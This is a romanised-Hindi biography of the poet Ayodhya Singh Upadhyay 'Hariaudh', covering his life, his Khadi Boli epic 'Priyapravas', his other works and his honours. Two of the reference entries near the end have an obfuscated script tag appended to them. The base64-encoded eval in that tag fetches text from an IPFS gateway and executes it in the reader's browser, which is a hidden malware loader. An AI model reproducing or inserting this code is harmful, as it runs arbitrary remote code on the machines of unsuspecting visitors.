अयोध्यासिंह उपाध्याय 'हरिऔध'
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ayodhyasianh upadhyay 'hariaudh' (aangrezi: Ayodhyasingh Upadhyay ‘Hari Oudh', janm- 15 aprail, 1865, mrityu- 16 march, 1947) ka nam kh di boli ko kavy bhasha ke pad par pratishthit karane vale kaviyoan mean bahut adar se liya jata hai. unnisavian shatabdi ke antim dashak mean 1890 ee. ke as-pas ayodhyasianh upadhyay ne sahity seva ke kshetr mean padarpan kiya.
parivar aur shiksha
ayodhyasianh upadhyay ka janm zila ajamagadh ke nizamabad namak sthan mean sanh 1865 ee. mean hua tha. hariaudh ke pita ka nam bholasianh aur mata ka nam rukmani devi tha. asvasthata ke karan hariaudh ji ka vidyalay mean pathan-pathan n ho saka atah inhoanne ghar par hi urdoo, sanskrit, farasi, baangla evan aangrezi ka adhyayan kiya. 1883 mean ye nizamabad ke midil skool ke hedamastar ho ge. 1890 mean qanoonago ki pariksha pas karane ke bad ap qanoon go ban ge. sanh 1923 mean pad se avakash lene par kashi hindoo vishvavidyalay mean pradhyapak bane.[1]
karyakshetr
kh di boli ke pratham mahakavyakar hariaudh ji ka srijanakal hindi ke tin yugoan mean vistrit hai-
isiliye hindi kavita ke vikas mean 'hariaudh' ji ki bhoomika nianv ke patthar ke saman hai. unhoanne sanskrit chhandoan ka hindi mean saphal prayog kiya hai. 'priyapravas' ki rachana sanskrit varnavritt mean karake jahaan 'hariaudh' ji ne kh di boli ko pahala mahakavy diya, vahian am hindustani bolachal mean 'chokhe chaupade', tatha 'chubhate chaupade' rachakar urdoo juban ki muhavaredari ki shakti bhi rekhaankit ki.[2]
sarvadhik prasiddhi
hariaudh ko kavi roop mean sarvadhik prasiddhi unake prabandh kavy 'priyapravas' ke karan mili. 'priyapravas' ki rachana se poorv ki kavy kritiyaan kavita ki disha mean unake prayog ki parichayika haian. in kritiyoan mean prem aur shrriangar ke vibhinn pakshoan ko lekar kavy rachana ke lie kie ge abhyas ki jhalak milati hai. 'priyapravas' ko isi kram mean lena chahie. 'priyapravas' ke bad ki kritiyoan mean 'chokhe chaupade' tatha 'vaidehi banavas' ullekhaniy haian. 'chokhe chaupade' lokabhasha ke prayog ki drishti se mahattvapoorn hai. 'priyapravas' ki rachana sanskrit ki komal kant padavali mean huee hai aur usamean tatsam shabdoan ka bahuly hai. 'chokhe chaupade' mean muhavaroan ke bahuly tatha lokabhasha ke samavesh dvara kavi ne yah siddh kar diya hai ki vah apani sidhi sadi jaban ko bhoola nahian hai. 'vaidehi banavas' ki rachana dvara ek aur prabandh srishti ka prayatn kiya gaya hai. akar ki drishti se yah granth chhota nahian hai, kintu isamean 'priyapravas' jaisi tazagi aur kavyatv ka abhav hai.
priyapravas
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'priyapravas' ek sashakt vipralambh kavy hai. kavi ne apani is kriti mean krishna katha ke ek marmik paksh ko kianchith maulikata aur ek nootan drishtikon prastut kiya hai. shrikrishna ke mathura-gaman ke uparant brajavasiyoan ke virahasantapt jivan tatha manobhavoan ka hridayasparshi aankan prastut karane mean unhean bahut hi saphalata prapt huee hai. sanskrit ki samast tatha komal-kant padavali se alankrit evan sanskrit varn vrittoan mean likhit yah rachana kh di boli ka pratham mahakavy hai. ramachandr shukl ne ise akar ki drishti se b da kaha kintu unhean is kriti mean samuchit kathanak ka abhav pratit hua aur isi abhav ka ullekh karate hue unhoanne isake prabandhatv evan mahakavyatv ko asvikar kar diya hai.[3] shukl ji se saralatapoorvak sahamat nahian hua ja sakata. prabandh kavy sambandhi kuchh tho di-si roodhiyoan ko chho d diya jae to is kavy mean prabandhatv ka darshan asani se kiya ja sakata hai. yah sach hai ki oopar se dekhane par isaka kathanak pravas prasang tak hi simit hai, kintu 'hariaudh' ne apane kalpana kaushal ke dvara, isi simit kshetr mean shri krishna ke jivan ki vyapak jhakiyaan prastut karane ke avasar dhooandh nikale haian. is kavy ki ek aur visheshata yah hai ki isake nayak shrikrishna shuddh manav roop mean prastut kie ge haian. ve lokasanrakshan tatha vishvakalyan ki bhavana se paripoorn manushy adhik haian aur avatar athava eeshvar nam matr ke.
any sahityik krititv
hariaudh ke any sahityik krititv mean unake brajabhasha kavy sangrah 'rasakalash' ko vismrit nahian kiya ja sakata hai. isamean unaki arambhik sphut kavitaean sankalit haian. ye kavitaean shrriangarik haian aur kavy-siddhant niroopan ki drishti se likhi gayi haian. inhoanne gady aur alochana ki or bhi kuchh-kuchh dhyan diya tha. kashi hindoo vishvavidyalay hindi ke avaitanik adhyapak pad par kary karate hue inhoanne 'kabir vachanavali' ka sampadan kiya. 'vachanavali' ki bhoomika mean kabir par likhe ge lekhoan se inaki alochana drishti ka pata chalata hai. inhoanne 'hindi bhasha aur sahity ka vikas' shirshak ek itihas granth bhi prastut kiya, jo bahut hi lokapriy hua.
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ek amerikan 'enasaiklopidiya' ne inaka parichay prakashit karate hue inhean vishv ke sahity seviyoan ki pankti pradan ki. kh di boli kavy ke vikas mean inaka yogadan nishchit roop se bahut mahatvapoorn hai. yadi 'priyapravas' kh di boli ka pratham mahakavy hai to 'hariaudh' kh di boli ke pratham mahakavi.
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virasat
hariaudh ji ne gady aur pady donoan hi kshetroan mean hindi ki seva ki. ve dvivedi yug ke pramukh kavi hai. unhoanne sarvapratham kh di boli mean kavy-rachana karake yah siddh kar diya ki usamean bhi brajabhasha ke saman kh di boli ki kavita mean bhi sarasata aur madhurata a sakati hai. hariaudh ji mean ek shreshth kavi ke samast gun vidyaman the. 'unaka priy pravas' mahakavy apani kavyagat visheshataoan ke karan hindi mahakavyoan mean 'mail-ston' mana jata hai. shri sooryakaant tripathi nirala ke shabdoan mean hariaudh ji ka mahattv aur adhik spasht ho jata hai- inaki yah ek sabase b di visheshata hai ki ye hindi ke sarvabhaum kavi haian. kh di boli, urdoo ke muhavare, brajabhasha, kathin-saral sab prakar ki kavita ki rachana kar sakate haian.
kritiyaan
'hariaudh' ji arambh mean natak tatha upanyas lekhan ki or akarshit hue. 'hariaudh' ji ki do naty kritiyaan 'pradyumn vijay' tatha 'rukmani parinay' kramash: 1893 ee. tatha 1894 ee. mean prakashit hueean. 1894 ee. mean hi inaka pratham upanyas 'premakanta' bhi prakashan mean aya. bad mean do any aupanyasik kritiyaan 'theth hindi ka thath' (1899 ee.) aur 'adhakhila phool' (1907 ee.) nam se prakashit huee. ye natak tatha upanyas sahity ke unake prarambhik prayas hone ki drishti se ullekhaniy haian. in kritiyoan mean natyakala athava upanyasakala ki visheshataean dhooandhana tarkasangat nahian haian. upadhyay ji ki pratibha ka vikas vastut: kavi roop mean hua. kh di boli ka pratham mahakavi hone ka shrey 'hariaudh' ji ko hai. 'hariaudh' ke upanam se inhoanne anek chhote-b de kavyoan ki srishti ki, jinaki sankhya pandrah se oopar hai-
| sanh | kavy |
|---|---|
| 1899 ee. | 'rasik rahasy' |
| 1900 | 'premambuvaridhi', 'prem prapanch' |
| 1901 ee. | 'pramambu prashravan', 'premambu pravah' |
| 1904 ee. | 'prem pushpahar' |
| 1906 ee. | 'udabodhan' |
| 1909 ee. | 'kavyopavan' |
| 1914 ee. | 'priyapravas' |
| 1916 ee. | 'karmavir' |
| 1917 ee. | 'rritu mukur' |
| 1925 ee. | 'padmaprasoon' |
| 1927 ee. | 'padmapramod' |
| 1932 ee. | 'chokhechaupade' |
| 1940 ee. | 'vaidehi banavas' |
| 'chubhate chaupade' | |
| 'rasakalash' |
kh di boli kavy-rachana
ayodhyasianh upadhyay kh di boli kavy ke nirmataoan mean ate haian. inhoanne apane kavi karm ka shubharambh brajabhasha se kiya. 'rasakalash' ki kavitaoan se pata chalata hai ki is bhasha par inaka achchha adhikar tha, kintu inhoanne samay ki gati shighr hi pahachan li aur kh di boli kavy-rachana karane lage. kavy bhasha ke roop mean inhoanne kh di boli ka parimarjan aur sanskar kiya. 'priyapravas' ki rachana karake inhoanne sanskrit garbhit komal-kantapadavali sanyukt bhasha ka abhijat roop prastut kiya. 'chokhe chaupade' tatha 'chubhate chaupade' dvara kh di boli ke muhavara saundary evan usake laukik svaroop ki jhaanki di. chhandoan ki drishti se inhoanne sanskrit, hindi tatha urdoo sabhi prakar ke chhandoan ka dh dalle se prayog kiya. ye pratibhasampann manavavadi kavi the. inhoanne 'priyapravas' mean shrikrishna ke jis manaviy svaroop ki pratishtha ki hai, usase inake adhunik drishtikon ka pata chalata hai. inake shrikrishna 'rasaraj' ya 'natanagar' hone ki apeksha lokarakshak neta haian.
rachanaean
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samman
jivanakal mean inhean yathochit samman mila tha. 1924 ee. mean inhoanne hindi sahity sammelan ke pradhan pad ko sushobhit kiya tha. kashi hindoo vishvavidyalay ne inaki sahity sevaoan ka moolyaankan karate hue inhean hindi ke avaitanik adhyapak ka pad pradan kiya. ek amerikan 'enasaiklopidiya' ne inaka parichay prakashit karate hue inhean vishv ke sahity seviyoan ki pankti pradan ki. kh di boli kavy ke vikas mean inaka yogadan nishchit roop se bahut mahattvapoorn hai. yadi 'priyapravas' kh di boli ka pratham mahakavy hai to 'hariaudh' kh di boli ke pratham mahakavi.
mrityu
16 march, 1947 ko ayodhyasianh upadhyay 'hariaudh' ne is duniya se lagabhag 76 varsh ki ayu mean vida li.
kahean kya bat aankhoan ki, chal chalati haian manamani
sada pani mean doobi rah, nahian rah sakati haian pani
lagan hai rog ya jalan, kisi ko kab yah batalaya
jal bhara rahata hai unamean, par unhean pyasi hi paya.
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tika tippani aur sandarbh
- ↑ kavyaanchal (hindi) (ech.ti.em.el). . abhigaman tithi: 23 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ anubhooti (hindi) (ech.ti.em.el). . abhigaman tithi: 23 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ hindi sahity ka itihas, pan. san., pri. 608).
bahari k diyaan
- ayodhya sianh upadhyay 'hariaudh'
- karmavir – ayodhyasianh upadhyay 'hariaudh'
- aankh ka aansoo- ayodhya sianh upadhyay
- ayodhya sianh upadhyay-jivan parichay
- hariaudh ji ki rachanaean
sanbandhit lekh
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varnamala kramanusar lekh khoj
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